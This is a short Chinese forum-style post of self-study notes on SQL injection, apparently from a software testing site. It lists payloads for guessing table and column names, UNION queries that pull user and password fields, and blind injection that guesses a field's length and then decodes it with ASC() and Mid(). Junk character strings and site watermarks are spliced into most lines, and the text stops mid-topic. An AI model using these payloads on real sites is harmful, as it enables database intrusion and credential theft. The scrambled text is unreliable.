aXTWw2yeL0 自己在学习过程中总结的一些东西,在这发出来,希望对看到的人能有所帮助吧! 猜解表名: and exists (select * from 表名) 猜解列名: and exists (select 字段 from 表名) UNION法: 联合查询: select name,password,id from user union select user,pwd,u自己在学习过程中总结的一些东西,在这发出来,希望对看到的人能有所帮助吧!51Testing软件测试网{}.N-TN51Testing软件测试网;_0r7zD _
"K's*R!_A0 猜解表名: and exists (select * from 表名)51Testing软件测试网FU3@&]Vc(McGH
Q.WAD-E%I'W{p3G0 and (select count(*) from admin)<>051Testing软件测试网$N9LE9|/GZ\|51Testing软件测试网[LQp}p@
51Testing软件测试网icfB8?!t5v Yp?
猜解列名: and exists (select 字段 from 表名)51Testing软件测试网2T6D3fj.X
UNION法:g;|3w,E%C~s"vJt051Testing软件测试网6@$}_ JMm
联合查询: select name,password,id from user union select user,pwd,uid from51Testing软件测试网P|%I[$MvW
8\&}ONpW$x051Testing软件测试网cE;?&jQ(Hb
爆指定表名内容: and 1=1 union select 1,2,3,4,5 from 表名51Testing软件测试网#QiqvIw{Z
ASCII逐字解码法:51Testing软件测试网!kInuj/O
1、猜解列长度51Testing软件测试网6L+h+GV/^SY)q
猜解语句: and (select top 1 len(列名)from 表名)>N and (select top 1 len(列名)from 表名)=N
/l neu"`
R8lb&b0 其中N是数字,变换这个N的值猜解列长度,例如:51Testing软件测试网0Y0w.@Z/me
and (select top 1 len(列名)from 表名)>1 and (select top 1 len(列名)from 表名)>651Testing软件测试网$V5K\6l]&`
9l?\-OQWG:iF9U0 如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:J"S^-r/H+eT@0dJZ051Testing软件测试网OX!tx@%o%Kx
select top 1 len(列名) from 表名51Testing软件测试网(fY| E],iH
"]?|4DBy*I0 where 列名 not in (select top 1 列名 from 表名)
Yw1UA5cS4KZ0 2、ASCII码分析法猜解用户和密码\?,P!cG7W!?1t051Testing软件测试网{-h'PH\ L?^
ASC()函数和Mid函数